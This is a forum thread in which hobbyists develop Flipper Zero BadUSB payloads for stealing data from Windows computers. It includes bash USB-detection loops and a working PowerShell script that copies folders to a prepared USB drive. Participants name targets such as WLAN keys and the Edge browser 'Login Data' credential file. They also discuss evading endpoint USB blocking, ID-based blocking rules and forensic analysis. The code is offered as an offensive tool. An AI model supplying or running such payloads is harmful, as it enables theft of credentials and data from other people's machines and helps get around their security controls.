Anyway to save files back to the Flipper using BadUSB?

A first shot to do the same loop in bash/linux.

for i in {1..600}; do if (usb-devices |grep "Vendor=0483 ProdID=5740"); then echo "Storage"; break; elif (usb-devices | grep "Vendor=046d ProdID=c529"); then echo "BadUSB"; sleep 1; else echo "noFZ"; sleep4; fi; done

But I have no idea how to find the correct /dev/ at the moment.
If you have an approach, just replace echo "Storage"

Less chars with lsusb:

for i in {1..600}; do if (lsusb |grep "0483:5740"); then echo "Storage"; break; elif (lsusb | grep "046d:c529"); then echo "BadUSB"; sleep 1; else echo "noFZ"; sleep 4; fi; done
1 Like

This is brilliant! I haven’t been able to spend any time on this, but I definitely want to look at it in depth.

I don’t know whether you have a use for this but I wrote a script that uses PowerShell to exfil a folder structure to a USB you bring along. Just configure 3 variables, plug-in the USB drive and run the Ducky script. Have a look at it if you think this is useful: flipperzero/BadUSB/Ducky Scripts/Offensive/ExfilToUsb.txt at main · Zarcolio/flipperzero · GitHub

I do like the while (-not $f) part. It waits as long as it takes to place a USB stick.
On the downside you need an (prepared) USB drive with you. Even if you could reuse the same port, because of the while.
Create the file can be performed in time, if you know the filename.

At @emptythevoid’s script I intentionally used a loop with 600 cycles, with a delay of 1 sec. So it will run at least 5 minutes, enough time to act. Than just die …
Maybe a termination f the PS window at the end is useful (Note at TODO. Does the Flipper got a Todo list app?).

Today we found out, that some enterprise endpoint security solutions blocks USB Mass storage, but not direct serial write.

So +2 for the script from @emptythevoid

1 Like

While it’s true that mass storage devices are often blocked, I think both scripts have different use cases. Using an ordinary USB drive is less conspicuous than leaving a shiny Flipper Zero on someone’s desk. My script only needs the Flipper to execute the script and the Flipper can be unplugged. Also, if one needs to exfil large amounts of data, how well does that go over a serial connection in contrast to a copy to USB?

1 Like

Not as fast, for sure, but it’s something I’m going to be looking at soon

I tried out adding an exit at the end of the “short” version. I’ll double check to make sure that’s on the repo.

Edit: yes

I’ve tried today on a test system.

  1. The coding doesn’t work in my region. I suggest too replace STRING with ALTSTRING.
    2. But even if the encoding is fixed, the Test-Path could never gets a $true

I remember darkly there was a issue with Test-Path and removeable devices, but I cannot remember the details.

My debugging code so far:

$CopyFrom = "C:\Windows\System32\calc.exe"; $CopyTo = "copy"
$FindMe = "gfhnubkw.txt"; $f = $false
While (-not $f) {
    Foreach ($USBDrive in (Get-WmiObject -Class Win32_Volume -Filter {DriveType=2}).Name) {
        If (Test-Path (Join-Path -Path $USBDrive -ChildPath $FindMe)) {
            $f = $true; Write-Host "Copying... $(((Get-ChildItem $CopyFrom | Measure-Object -Sum Length).Sum)/1MB) MB to $USBDrive, where $(((Get-Volume -DriveLetter $USBDrive.Substring(0,1)).SizeRemaining)/1MB) MB are remaining"
            Copy-Item -Path $CopyFrom -Destination $USBDrive\$CopyTo -Recurse -ErrorAction SilentlyContinue } #;Exit }
    Continue }} #Exit

Is my Win10 (Up to date) the only one, which does not work?
(Join-Path -Path $USBDrive -ChildPath $FindMe) gives the correct result, but the If is always $false. If I perform this on a harddrive by changing the variables, it works.

Also with Test-Path instead of [System.IO.File]::Exists(), I just playes with other know functions.

Edit: Make Code more compact.

2 Likes

Okay, this is some kind of embasassing … It is a fresh windows, so the file extensions where hidden. The script can’t find gfhnubkw.txt.txt

It works.

I was more interested in WLAN keys and user data. Even “%localappdata%\Microsoft\Edge\User Data\Default\Login Data” is only a few kb in size.

But it seems that ‘large data exfiltration’ is a point of interest.
In your example, @Zarcolio, you’re selecting C:\Windows\ and copy this to a USB drive. My fresh C\Windows\ is nearly 30GB … my Test-USB Drive 8GB.

I extended the Write-Host Line:
Write-Host "Copying... $(((Get-ChildItem $CopyFrom | Measure-Object -Sum Length).Sum)/1MB) MB to $e, where $(((Get-Volume -DriveLetter $e).SizeRemaining)/1MB) MB are remaining"
Maybe it is useful to check if the remaining space is enough.

In my tests I wanted to copy a file. The Copy-Item CMDlet writes calc.exe to E:\copy … Maybe some New-Item -ItemType Directory -Force -Path e$\$copy (short md e$\$copy) would help?
No time to test, today. I would not have answered, If my previous post wasn’t so wrong.

1 Like

Been a really long day, no access to personal device today.
Will try tomorrow to have a look.
Maybe better to use ALTSTRING always if some regions have difficulties with STRING.
Will have a look at your code :ok_hand:

No worries, stuff happens :wink:

C:\Windows was only a test to check if it starts.
You can change to whatever you like.

Will have a look tomorrow, hopefully :sweat_smile:

I understand, you’d want to have a look at ot first. But the file to $CopyTo issue bugs me.
I’ve added If (Test-Path -Path $CopyFrom -PathType Leaf) {md $USBDrive\$CopyTo} before the Copy-Item CMDlet. Else C:\Windows\* would be copied to E:\copy\* (let’s say renamed at the target) … this is okay for me.
md is very short für New-Object -Blah Directory blah blah blah. Standard PS function, so I use it.

Why would you make this script run (slightly) longer when you can prepare the USB drive before using it? :wink:

Good point. If the script won’t check for the file, instead for the path, it would be 2 in one.

Changed the script a bit:

  • It uses ALTSTRING
  • It quits after $MaxDuration
  • It shows total MB/GB to be copied

Thanks for the input :smile:

2 Likes

I know it’s been a little while since this topic was active, but looking into it now this seems like a super promising method to get some kind of exfiltration via storage functionality. I want to test this script once I’m home and have access to the Flipper but I’m wondering if I would need to change the -match ‘HID/USB’ values if not all Flipper’s have the same IDs. If they do, how would I find mine? Still relatively new to powershell hahaha, not quite accustomed to how things are done on Windows

1 Like

To change the ID is a feature from BadUSB, so this is set at the beginning of the BadUSB file.
Since the PowerShell is searching for the ID it needs to be changed there, too.

But if you are new to this, it is really not important to understand the basics. Just start with ‘as is’.
If you chose the wrong ID, windows will try to install a driver and map the Flippers BadUSB… It is only necessary as attack vector, if:
A. You know the computer/network has a ID based blocking rule.
b. You want to go stealth in later forensic analysis … But than you should know what IDs are used in this environment.

Great, thank you. I’ve attempted to test the script (both your version here and emptythevoid’s version on GitHub) and can’t seem to get any success. It runs the PowerShell code just fine and will return ‘BadUSB’ when I’m still in BadUSB mode, but when exiting out to the list of apps it just displays ‘NoFZ’ and nothing is written. I haven’t changed any ID’s in the BadUSB script, and as far as Windows is telling me the COM device has the same VID and PID as is in the script. Is there any reason you can think of as to why it might not work? I have a custom firmware installed but it hasn’t affected qFlipper’s serial connection nor any kind of BadUSB connectivity.

The script could not work, if qFlipper, the web client or another app is getting the COM first and blocking the port.
There is no spezial debug output for this situation, but noFZ sounds reasonable.

To check close all apps (mainly qFlipper and Browser).

1 Like

Ahh yes that makes sense, that was the issue. It seems to work well now, my only concern is the amount of time it takes to write out the one-liner, might look into some way I can speed it up. Thanks very much for your help, always wanted a way to locally exfiltrate data :slight_smile: